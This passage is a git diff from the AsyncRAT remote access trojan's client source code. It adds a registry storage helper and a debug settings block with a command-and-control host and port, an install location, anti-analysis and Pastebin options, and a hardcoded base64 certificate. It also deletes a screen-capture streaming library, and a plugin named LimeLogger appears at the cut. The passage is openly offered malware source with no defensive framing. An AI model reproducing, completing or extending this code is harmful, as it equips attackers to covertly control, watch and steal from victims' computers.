0000000..1b28cb3 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/RegistryDB.cs @@ -0,0 +1,67 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Client.Helper +{ + public class RegistryDB + { + private static readonly string ID = Methods.HWID(); + + public static bool SetValue(string name, string value) + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + key.SetValue(name, value, RegistryValueKind.String); + return true; + } + } + + public static string GetValue(string value) + { + try + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) + { + if (key == null) return null; + object o = key.GetValue(value); + if (o == null) return null; + return (string)o; + } + } + catch { } + return null; + } + + public static bool DeleteValue(string name) + { + try + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey(ID, true)) + { + if (key == null) return false; + key.DeleteValue(name); + return true; + } + } + catch { } + return false; + } + + public static bool DeleteSubKey() + { + try + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true)) + { + key.DeleteSubKeyTree(ID); + return true; + } + } + catch { } + return false; + } + } +} diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 73c8006..80f3fff 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -12,15 +12,15 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.2"; + public static string Version = "0.5.3"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; public static string Key = "NYAN CAT"; public static string MTX = "%MTX%"; - public static string Certificate = "%Certificate%"; + public static string Certificate = "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"; public static string Serversignature = "%Serversignature%"; - public static X509Certificate2 ServerCertificate; + public static X509Certificate2 ServerCertificate = new X509Certificate2(Convert.FromBase64String(Certificate)); public static string Anti = "false"; public static Aes256 aes256 = new Aes256(Key); public static string Pastebin = "null"; diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs deleted file mode 100644 index 83e58e3..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Client.StreamLibrary -{ - public enum CodecOption - { - /// - /// The Previous and next image size must be equal - /// - RequireSameSize, - /// - /// If the codec is having a stream buffer - /// - HasBuffers, - /// - /// The image will be disposed by the codec and shall not be disposed by the user - /// - AutoDispose, - /// No codec options were used - None - }; -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs deleted file mode 100644 index bd8775e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs +++ /dev/null @@ -1,44 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary -{ - public abstract class IUnsafeCodec - { - protected JpgCompression jpgCompression; - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - { - get { return _imageQuality; } - set - { - _imageQuality = value; - jpgCompression = new JpgCompression(value); - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IUnsafeCodec(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs deleted file mode 100644 index 79fc22f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace Client.StreamLibrary -{ - public abstract class IVideoCodec - { - public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); - public delegate void VideoDecodeProgress(Bitmap bitmap); - public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); - - public abstract event VideoCodeProgress onVideoStreamCoding; - public abstract event VideoDecodeProgress onVideoStreamDecoding; - public abstract event VideoDebugScanningDelegate onCodeDebugScan; - public abstract event VideoDebugScanningDelegate onDecodeDebugScan; - protected JpgCompression jpgCompression; - public abstract ulong CachedSize { get; internal set; } - public int ImageQuality { get; set; } - - public IVideoCodec(int ImageQuality = 100) - { - this.jpgCompression = new JpgCompression(ImageQuality); - this.ImageQuality = ImageQuality; - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract void CodeImage(Bitmap bitmap, Stream outStream); - public abstract Bitmap DecodeData(Stream inStream); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs deleted file mode 100644 index 62e704e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs +++ /dev/null @@ -1,338 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace Client.StreamLibrary.UnsafeCodecs -{ - public class UnsafeStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - bool UseJPEG; - - /// - /// Initialize a new object of UnsafeStreamCodec - /// - /// The quality to use between 0-100 - public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 1); - this.UseJPEG = UseJPEG; - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if(FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - - /*int maxHeight = 0; - int maxWidth = 0; - - for (int i = 0; i < finalUpdates.Count; i++) - { - if (finalUpdates[i].Height > maxHeight) - maxHeight = finalUpdates[i].Height; - maxWidth += finalUpdates[i].Width; - } - - Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); - int XOffset = 0;*/ - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - /*using (Graphics g = Graphics.FromImage(bmp)) - { - g.DrawImage(TmpBmp, new Point(XOffset, 0)); - } - XOffset += TmpBmp.Width;*/ - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Length; - long OldPos = outStream.Position; - - if (UseJPEG) - { - base.jpgCompression.Compress(TmpBmp, ref outStream); - } - else - { - base.lzwCompression.Compress(TmpBmp, outStream); - } - - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*if (finalUpdates.Count > 0) - { - byte[] lele = base.jpgCompression.Compress(bmp); - byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1); - bool Won = lele.Length < outStream.Length; - bool CompressWon = compressed.Length < outStream.Length; - Console.WriteLine(Won + ", " + CompressWon); - } - bmp.Dispose();*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - finalUpdates.Clear(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - using (Graphics g = Graphics.FromImage(decodedBitmap)) - { - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - tempData = null; - - byte[] buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - using (MemoryStream m = new MemoryStream(buffer)) - using (Bitmap tmp = (Bitmap)Image.FromStream(m)) - { - g.DrawImage(tmp, rect.Location); - } - buffer = null; - DataSize -= UpdateLen + (4 * 5); - } - } - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs deleted file mode 100644 index 0f911b5..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary.src -{ - public class JpgCompression - { - private EncoderParameter parameter; - private ImageCodecInfo encoderInfo; - private EncoderParameters encoderParams; - - public JpgCompression(int Quality) - { - this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); - this.encoderInfo = GetEncoderInfo("image/jpeg"); - this.encoderParams = new EncoderParameters(2); - this.encoderParams.Param[0] = parameter; - this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2); - } - - public byte[] Compress(Bitmap bmp) - { - using (MemoryStream stream = new MemoryStream()) - { - bmp.Save(stream, encoderInfo, encoderParams); - return stream.ToArray(); - } - } - public void Compress(Bitmap bmp, ref Stream TargetStream) - { - bmp.Save(TargetStream, encoderInfo, encoderParams); - } - - private ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int num2 = imageEncoders.Length - 1; - for (int i = 0; i <= num2; i++) - { - if (imageEncoders[i].MimeType == mimeType) - { - return imageEncoders[i]; - } - } - return null; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs deleted file mode 100644 index 2654908..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary.src -{ - public class LzwCompression - { - private EncoderParameter parameter; - private ImageCodecInfo encoderInfo; - private EncoderParameters encoderParams; - - public LzwCompression(int Quality) - { - this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); - this.encoderInfo = GetEncoderInfo("image/jpeg"); - this.encoderParams = new EncoderParameters(2); - this.encoderParams.Param[0] = parameter; - this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW); - } - - public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) - { - using (MemoryStream stream = new MemoryStream()) - { - if (AdditionInfo != null) - stream.Write(AdditionInfo, 0, AdditionInfo.Length); - bmp.Save(stream, encoderInfo, encoderParams); - return stream.ToArray(); - } - } - public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) - { - if (AdditionInfo != null) - stream.Write(AdditionInfo, 0, AdditionInfo.Length); - bmp.Save(stream, encoderInfo, encoderParams); - } - - private ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - for (int i = 0; i < imageEncoders.Length; i++) - { - if (imageEncoders[i].MimeType == mimeType) - { - return imageEncoders[i]; - } - } - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs deleted file mode 100644 index f8dbe91..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace Client.StreamLibrary.src -{ - public class NativeMethods - { - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcpy(IntPtr dst, IntPtr src, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcpy(void* dst, void* src, uint count); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger.dll 